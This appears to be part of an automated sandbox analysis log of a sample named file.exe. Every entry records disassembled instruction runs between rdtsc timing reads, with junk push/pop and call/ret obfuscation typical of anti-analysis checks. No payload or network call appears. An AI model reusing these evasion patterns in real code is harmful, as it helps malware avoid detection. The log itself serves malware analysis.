Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F1B0C6 second address: F1B0D5 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F711D40AC56h 0x00000008 push eax 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F1B4A6 second address: F1B4AA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F1B7D5 second address: F1B7DB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F1BABB second address: F1BABF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F1BABF second address: F1BAC3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F1BC10 second address: F1BC16 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F1BC16 second address: F1BC40 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 popad 0x00000007 push eax 0x00000008 push edi 0x00000009 pop edi 0x0000000a pop eax 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F711D40AC68h 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F1BC40 second address: F1BC44 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F1BC44 second address: F1BC50 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 jo 00007F711D40AC56h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F1BC50 second address: F1BC58 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F1BC58 second address: F1BC5C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F1C33A second address: F1C33E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F1C33E second address: F1C347 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ecx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F1C347 second address: F1C363 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F711CDAA087h 0x00000009 pop ecx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F1C8FE second address: F1C933 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 push ecx 0x00000007 pop ecx 0x00000008 popad 0x00000009 popad 0x0000000a pushad 0x0000000b jne 00007F711D40AC5Ah 0x00000011 push edx 0x00000012 push edx 0x00000013 pop edx 0x00000014 jmp 00007F711D40AC63h 0x00000019 pop edx 0x0000001a push edx 0x0000001b jl 00007F711D40AC56h 0x00000021 push eax 0x00000022 push edx 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F1C933 second address: F1C94A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F711CDAA07Eh 0x0000000c push esi 0x0000000d pop esi 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F1CD79 second address: F1CD9D instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 js 00007F711D40AC56h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c popad 0x0000000d push eax 0x0000000e jbe 00007F711D40AC62h 0x00000014 push eax 0x00000015 push edx 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F1CD9D second address: F1CDA1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EEBEFB second address: EEBF01 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EEBF01 second address: EEBF05 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F220DB second address: F220F7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F711D40AC67h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F220F7 second address: F22115 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F711CDAA089h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F22115 second address: F22126 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 pushad 0x00000009 jng 00007F711D40AC5Ch 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F209D0 second address: F209D4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F22474 second address: F2247E instructions: 0x00000000 rdtsc 0x00000002 js 00007F711D40AC5Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EE1C8C second address: EE1C90 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F2898D second address: F28991 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F28991 second address: F28999 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F28999 second address: F2899F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F28DC8 second address: F28DCC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F28DCC second address: F28DD2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F28DD2 second address: F28DD8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F2B016 second address: F2B037 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F711D40AC68h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F2B0F0 second address: F2B11F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push eax 0x00000006 jbe 00007F711CDAA07Ah 0x0000000c push edi 0x0000000d push ebx 0x0000000e pop ebx 0x0000000f pop edi 0x00000010 mov eax, dword ptr [esp+04h] 0x00000014 push eax 0x00000015 push edx 0x00000016 jmp 00007F711CDAA089h 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F2B297 second address: F2B29B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F2B29B second address: F2B2B5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F711CDAA07Dh 0x0000000b popad 0x0000000c push eax 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F2B2B5 second address: F2B2B9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F2B2B9 second address: F2B2BD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F2B2BD second address: F2B2C6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push esi 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F2BCF1 second address: F2BD16 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push ecx 0x00000008 pop ecx 0x00000009 jc 00007F711CDAA076h 0x0000000f popad 0x00000010 popad 0x00000011 push eax 0x00000012 pushad 0x00000013 push eax 0x00000014 push edx 0x00000015 jmp 00007F711CDAA080h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F2BD16 second address: F2BD20 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F2BDC0 second address: F2BDC4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F2BDC4 second address: F2BDCA instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F2BDCA second address: F2BDCF instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F2BDCF second address: F2BDDC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b push edx 0x0000000c pop edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F2C12C second address: F2C130 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F2C130 second address: F2C136 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F2C2D8 second address: F2C2F1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 popad 0x00000007 pushad 0x00000008 jmp 00007F711CDAA07Fh 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F2C3DA second address: F2C41F instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 nop 0x00000008 push 00000000h 0x0000000a push edx 0x0000000b call 00007F711D40AC58h 0x00000010 pop edx 0x00000011 mov dword ptr [esp+04h], edx 0x00000015 add dword ptr [esp+04h], 0000001Ch 0x0000001d inc edx 0x0000001e push edx 0x0000001f ret 0x00000020 pop edx 0x00000021 ret 0x00000022 cld 0x00000023 push eax 0x00000024 pushad 0x00000025 push ecx 0x00000026 jmp 00007F711D40AC61h 0x0000002b pop ecx 0x0000002c pushad 0x0000002d push eax 0x0000002e push edx 0x0000002f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F2C41F second address: F2C425 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F2F88A second address: F2F8E4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push eax 0x00000006 pushad 0x00000007 popad 0x00000008 pop eax 0x00000009 popad 0x0000000a mov dword ptr [esp], eax 0x0000000d je 00007F711D40AC59h 0x00000013 mov di, dx 0x00000016 jmp 00007F711D40AC5Dh 0x0000001b push 00000000h 0x0000001d push 00000000h 0x0000001f push ebx 0x00000020 call 00007F711D40AC58h 0x00000025 pop ebx 0x00000026 mov dword ptr [esp+04h], ebx 0x0000002a add dword ptr [esp+04h], 0000001Bh 0x00000032 inc ebx 0x00000033 push ebx 0x00000034 ret 0x00000035 pop ebx 0x00000036 ret 0x00000037 mov dword ptr [ebp+124736D1h], eax 0x0000003d push 00000000h 0x0000003f xchg eax, ebx 0x00000040 pushad 0x00000041 push eax 0x00000042 push edx 0x00000043 jo 00007F711D40AC56h 0x00000049 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F30436 second address: F3043A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F3043A second address: F30484 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop esi 0x00000007 push eax 0x00000008 push eax 0x00000009 jmp 00007F711D40AC62h 0x0000000e pop eax 0x0000000f nop 0x00000010 movsx esi, bx 0x00000013 push 00000000h 0x00000015 push 00000000h 0x00000017 push ebp 0x00000018 call 00007F711D40AC58h 0x0000001d pop ebp 0x0000001e mov dword ptr [esp+04h], ebp 0x00000022 add dword ptr [esp+04h], 00000014h 0x0000002a inc ebp 0x0000002b push ebp 0x0000002c ret 0x0000002d pop ebp 0x0000002e ret 0x0000002f push 00000000h 0x00000031 push eax 0x00000032 push esi 0x00000033 je 00007F711D40AC5Ch 0x00000039 push eax 0x0000003a push edx 0x0000003b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F318E3 second address: F318E7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F339AA second address: F339B0 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F35105 second address: F3510A instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F318E7 second address: F318F9 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F711D40AC56h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edi 0x0000000d pushad 0x0000000e pushad 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F339B0 second address: F339C5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F711CDAA081h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F3510A second address: F35116 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push edi 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F339C5 second address: F339C9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F35116 second address: F35155 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pushad 0x00000006 jmp 00007F711D40AC5Bh 0x0000000b jmp 00007F711D40AC68h 0x00000010 jmp 00007F711D40AC65h 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F339C9 second address: F339EB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push esi 0x0000000c jmp 00007F711CDAA085h 0x00000011 pop esi 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F35155 second address: F35177 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 pushad 0x00000006 popad 0x00000007 popad 0x00000008 jl 00007F711D40AC6Eh 0x0000000e jmp 00007F711D40AC62h 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F339EB second address: F33A08 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F711CDAA089h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F33A08 second address: F33A0C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F36EC8 second address: F36ECC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F3834B second address: F3834F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F37628 second address: F3763D instructions: 0x00000000 rdtsc 0x00000002 jc 00007F711CDAA07Ch 0x00000008 jno 00007F711CDAA076h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 push eax 0x00000012 pushad 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F3834F second address: F38353 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F38353 second address: F38360 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edi 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push esi 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F38360 second address: F38365 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F376CF second address: F376F4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F711CDAA082h 0x00000009 popad 0x0000000a pushad 0x0000000b jmp 00007F711CDAA07Bh 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F39550 second address: F39556 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F39556 second address: F3955E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push ebx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F3955E second address: F3956C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 popad 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a push edi 0x0000000b pop edi 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F3956C second address: F39571 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F39571 second address: F3957B instructions: 0x00000000 rdtsc 0x00000002 je 00007F711D40AC5Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F3B2DF second address: F3B378 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007F711CDAA076h 0x0000000a popad 0x0000000b popad 0x0000000c mov dword ptr [esp], eax 0x0000000f push 00000000h 0x00000011 push esi 0x00000012 call 00007F711CDAA078h 0x00000017 pop esi 0x00000018 mov dword ptr [esp+04h], esi 0x0000001c add dword ptr [esp+04h], 0000001Dh 0x00000024 inc esi 0x00000025 push esi 0x00000026 ret 0x00000027 pop esi 0x00000028 ret 0x00000029 sub dword ptr [ebp+122D29A6h], esi 0x0000002f push 00000000h 0x00000031 push 00000000h 0x00000033 push ebx 0x00000034 call 00007F711CDAA078h 0x00000039 pop ebx 0x0000003a mov dword ptr [esp+04h], ebx 0x0000003e add dword ptr [esp+04h], 0000001Dh 0x00000046 inc ebx 0x00000047 push ebx 0x00000048 ret 0x00000049 pop ebx 0x0000004a ret 0x0000004b xor dword ptr [ebp+122D2797h], edi 0x00000051 push 00000000h 0x00000053 cld 0x00000054 xchg eax, esi 0x00000055 pushad 0x00000056 jmp 00007F711CDAA07Eh 0x0000005b pushad 0x0000005c push edi 0x0000005d pop edi 0x0000005e push edx 0x0000005f pop edx 0x00000060 popad 0x00000061 popad 0x00000062 push eax 0x00000063 push eax 0x00000064 push edx 0x00000065 jmp 00007F711CDAA085h 0x0000006a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F3B378 second address: F3B37E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F3B37E second address: F3B382 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F3C219 second address: F3C223 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jne 00007F711D40AC56h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F3C223 second address: F3C2C4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F711CDAA088h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov dword ptr [esp], eax 0x0000000e movzx ebx, bx 0x00000011 push 00000000h 0x00000013 push 00000000h 0x00000015 push esi 0x00000016 call 00007F711CDAA078h 0x0000001b pop esi 0x0000001c mov dword ptr [esp+04h], esi 0x00000020 add dword ptr [esp+04h], 00000018h 0x00000028 inc esi 0x00000029 push esi 0x0000002a ret 0x0000002b pop esi 0x0000002c ret 0x0000002d adc di, A653h 0x00000032 push 00000000h 0x00000034 push 00000000h 0x00000036 push esi 0x00000037 call 00007F711CDAA078h 0x0000003c pop esi 0x0000003d mov dword ptr [esp+04h], esi 0x00000041 add dword ptr [esp+04h], 0000001Ah 0x00000049 inc esi 0x0000004a push esi 0x0000004b ret 0x0000004c pop esi 0x0000004d ret 0x0000004e add ebx, dword ptr [ebp+122D2ACAh] 0x00000054 mov bx, 82D3h 0x00000058 xchg eax, esi 0x00000059 push edi 0x0000005a pushad 0x0000005b jng 00007F711CDAA076h 0x00000061 jmp 00007F711CDAA088h 0x00000066 popad 0x00000067 pop edi 0x00000068 push eax 0x00000069 pushad 0x0000006a pushad 0x0000006b push eax 0x0000006c push edx 0x0000006d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F3D113 second address: F3D117 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F3D117 second address: F3D189 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop eax 0x00000007 push eax 0x00000008 jmp 00007F711CDAA087h 0x0000000d nop 0x0000000e push 00000000h 0x00000010 push eax 0x00000011 call 00007F711CDAA078h 0x00000016 pop eax 0x00000017 mov dword ptr [esp+04h], eax 0x0000001b add dword ptr [esp+04h], 00000014h 0x00000023 inc eax 0x00000024 push eax 0x00000025 ret 0x00000026 pop eax 0x00000027 ret 0x00000028 pushad 0x00000029 mov ax, FAD1h 0x0000002d xor dh, FFFFFF85h 0x00000030 popad 0x00000031 mov edi, dword ptr [ebp+122D1E4Ch] 0x00000037 mov ebx, dword ptr [ebp+1248B488h] 0x0000003d push 00000000h 0x0000003f mov dword ptr [ebp+122D2891h], ebx 0x00000045 push 00000000h 0x00000047 sub dword ptr [ebp+122D1DF0h], esi 0x0000004d mov edi, dword ptr [ebp+122D56D3h] 0x00000053 xchg eax, esi 0x00000054 jg 00007F711CDAA091h 0x0000005a push eax 0x0000005b push edx 0x0000005c push edx 0x0000005d pop edx 0x0000005e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F3EEBE second address: F3EED4 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ebx 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F711D40AC5Ch 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F3EED4 second address: F3EEDA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F4111E second address: F41157 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 popad 0x00000008 mov dword ptr [esp], eax 0x0000000b jmp 00007F711D40AC5Fh 0x00000010 push 00000000h 0x00000012 xor ebx, 56CC66EDh 0x00000018 push 00000000h 0x0000001a mov ebx, ecx 0x0000001c xchg eax, esi 0x0000001d push eax 0x0000001e push edx 0x0000001f jmp 00007F711D40AC60h 0x00000024 rdtsc
